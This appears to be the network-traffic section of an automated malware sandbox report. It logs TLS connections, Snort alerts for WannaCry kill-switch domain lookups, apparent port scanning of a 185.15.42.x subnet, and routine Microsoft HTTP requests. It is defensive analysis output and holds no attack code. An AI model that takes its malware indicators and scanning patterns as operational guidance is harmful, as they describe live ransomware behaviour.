Source: unknown	HTTPS traffic detected: 20.31.108.18:443 -> 192.168.2.7:50291 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.7:50348 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:50367 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:50479 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.7:50599 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.7:50601 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.7:50602 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.7:50600 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.7:50603 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:50626 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.7:50769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.7:50820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:50827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:50850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:50858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:50892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.7:50919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:50957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.7:50986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.238.103.94:443 -> 192.168.2.7:50991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.7:51026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:51033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.7:51074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.7:51099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.238.103.94:443 -> 192.168.2.7:51139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:51142 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.7:51148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.7:51156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.7:51224 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.7:51229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.7:51270 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:51288 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.7:51416 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.7:51847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:52436 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.7:52704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:53894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:54153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:55914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:57179 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.7:61337 version: TLS 1.2

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2830018 ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) 192.168.2.7:60996 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2830018 ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) 192.168.2.7:50519 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2830018 ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) 192.168.2.7:58715 -> 8.8.8.8:53

Connects to many IPs within the same subnet mask (likely port scanning)

Source: global traffic

TCP traffic: Count: 191 IPs: 185.15.42.150,185.15.42.151,185.15.42.156,185.15.42.157,185.15.42.158,185.15.42.159,185.15.42.152,185.15.42.153,185.15.42.154,185.15.42.155,185.15.42.49,185.15.42.48,185.15.42.47,185.15.42.46,185.15.42.45,185.15.42.44,185.15.42.43,185.15.42.42,185.15.42.41,185.15.42.40,185.15.42.140,185.15.42.145,185.15.42.146,185.15.42.147,185.15.42.148,185.15.42.141,185.15.42.142,185.15.42.143,185.15.42.144,185.15.42.39,185.15.42.38,185.15.42.149,185.15.42.37,185.15.42.36,185.15.42.35,185.15.42.34,185.15.42.33,185.15.42.32,185.15.42.31,185.15.42.30,185.15.42.70,185.15.42.170,185.15.42.171,185.15.42.172,185.15.42.173,185.15.42.178,185.15.42.179,185.15.42.174,185.15.42.175,185.15.42.176,185.15.42.177,185.15.42.69,185.15.42.68,185.15.42.67,185.15.42.66,185.15.42.65,185.15.42.64,185.15.42.63,185.15.42.62,185.15.42.61,185.15.42.60,185.15.42.160,185.15.42.161,185.15.42.162,185.15.42.167,185.15.42.168,185.15.42.169,185.15.42.163,185.15.42.164,185.15.42.165,185.15.42.166,185.15.42.59,185.15.42.58,185.15.42.57,185.15.42.56,185.15.42.55,185.15.42.54,185.15.42.53,185.15.42.52,185.15.42.51,185.15.42.50,185.15.42.92,185.15.42.91,185.15.42.90,185.15.42.190,185.15.42.112,185.15.42.113,185.15.42.114,185.15.42.115,185.15.42.110,185.15.42.111,185.15.42.116,185.15.42.117,185.15.42.118,185.15.42.119,185.15.42.89,185.15.42.88,185.15.42.87,185.15.42.86,185.15.42.85,185.15.42.84,185.15.42.83,185.15.42.82,185.15.42.81,185.15.42.181,185.15.42.80,185.15.42.182,185.15.42.183,185.15.42.184,185.15.42.180,185.15.42.101,185.15.42.189,185.15.42.102,185.15.42.103,185.15.42.104,185.15.42.185,185.15.42.186,185.15.42.187,185.15.42.100,185.15.42.188,185.15.42.109,185.15.42.105,185.15.42.106,185.15.42.107,185.15.42.79,185.15.42.108,185.15.42.78,185.15.42.77,185.15.42.76,185.15.42.75,185.15.42.74,185.15.42.73,185.15.42.72,185.15.42.71,185.15.42.8,185.15.42.134,185.15.42.9,185.15.42.135,185.15.42.6,185.15.42.136,185.15.42.7,185.15.42.137,185.15.42.130,185.15.42.131,185.15.42.132,185.15.42.133,185.15.42.1,185.15.42.29,185.15.42.28,185.15.42.4,185.15.42.27,185.15.42.138,185.15.42.5,185.15.42.26,185.15.42.139,185.15.42.2,185.15.42.25,185.15.42.3,185.15.42.24,185.15.42.23,185.15.42.22,185.15.42.21,185.15.42.20,185.15.42.123,185.15.42.124,185.15.42.125,185.15.42.126,185.15.42.120,185.15.42.121,185.15.42.122,185.15.42.19,185.15.42.18,185.15.42.17,185.15.42.16,185.15.42.248,185.15.42.127,185.15.42.15,185.15.42.128,185.15.42.14,185.15.42.129,185.15.42.13,185.15.42.12,185.15.42.11,185.15.42.99,185.15.42.10,185.15.42.98,185.15.42.97,185.15.42.96,185.15.42.95,185.15.42.94,185.15.42.93

Source: Joe Sandbox View

JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad

Source: global traffic	HTTP traffic detected: GET /image/apps.16574.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.6a6f592e-efa9-4bb0-b008-7c3422ab3313?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.18694.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.4e8e78d2-c2c2-4c02-8d8c-46ac3b2419e7?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.2052.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.a0c3decd-308f-4f06-bcfb-2aa4f3afe248?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.15881.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.bcf361e4-21f7-429d-877a-6c55c1b655ff?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.18858.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.1b03c26f-1753-4221-9ab1-4581f098723d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.10288.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.12bb65f7-1014-4469-bb2e-59f575e79b05?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.256.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.ca4cbefc-0ab0-4144-90c1-07f5250c8c21?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.20893.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.acc28f88-50de-4aaf-abfc-ad1da8b04cd0?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.49525.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.2f6b9bdf-a4fc-42d8-aea0-65c437755b78?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.39478.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.8ad1b690-ff36-44fa-8afc-0dc5bed1273c?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.40093.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.e6964d6a-18a4-4746-9238-9f0acc233a65?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.58298.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.55988ee1-bd9b-4322-980a-a610abdc7713?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.616.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.d81cfd95-c9fd-48e0-8fc3-36ff7b9e590a?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.64128.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.d58015ff-2fcf-4113-975b-e873039b6d86?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.13224.9007199266243744.1d2d3767-9bde-47ad-95c6-81ccd5714dd0.9547b9f0-b1dc-4352-9dc9-7ea6f4eef5c3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.10318.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8cf0ef1a-60ff-4508-85ab-fd3d7f02c6a3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.15982.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.7bbbe321-5273-45d0-814e-74f2065197d3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.18124.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.afc6c372-c7a8-4eda-94fb-541bbb081d14?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.19460.9007199266243744.1d2d3767-9bde-47ad-95c6-81ccd5714dd0.304469a1-c8b6-4cdc-aa11-eaa96e2fdfd6?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.16957.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.aef04b90-a221-4ea5-a05d-0d51ac792471?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.23070.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8e7acf32-4622-490b-b63f-0ba9c0d9a24e?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.31225.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.3ffd9abd-094d-4594-b6c3-8e079298b84b?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.41671.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.86b1d82d-8b47-4bda-99fc-8a1db0a7ac9d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.31660.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.9cf7ca2f-497e-4cb1-be08-431c9fcc4d54?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.32938.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.721cfb02-7935-45dc-9d66-2d6e6b2ff76c?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.5075.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.f329a73d-1ae8-4445-aa4c-bf40f3c5d62d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.51843.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.c13e8407-eaf8-447a-a5d6-9abd8bc2c1f3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.54145.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.0df01b4e-7fca-47eb-b3d7-95ba7990754d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.54562.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.24af4abe-62f8-404b-b1a9-ee8fe4d32d94?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.59367.13510798885854323.dbec43fa-fcea-4036-9b1c-96de66922c18.da850a8e-5b3f-49fd-b3dc-6a8c0db400e4?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.56668.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.a2d9522a-f7d1-4f21-9ea4-8ba298101695?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.62687.13510798885854323.6a8c11ad-84e9-4247-9ba9-ab3742bdbb87.e61dfadd-3bdd-4f66-beb1-6bb763b60b02?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.5845.13510798886747090.492cc081-9f95-48fd-b532-eba9c10ac577.477c821a-ca1f-4c68-937c-677b2841df44?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.64125.13510798886747090.492cc081-9f95-48fd-b532-eba9c10ac577.9bc20b6e-b23e-440d-a57d-43a19d3c51a5?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.65344.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.2a7e9f85-6e2d-4bc7-ad81-13196f5baf00?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.7873.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.7885dc21-4015-4284-a596-d3d24cf6c1b8?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4740Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4659Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4796Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4796Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4796Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4796Host: login.live.com
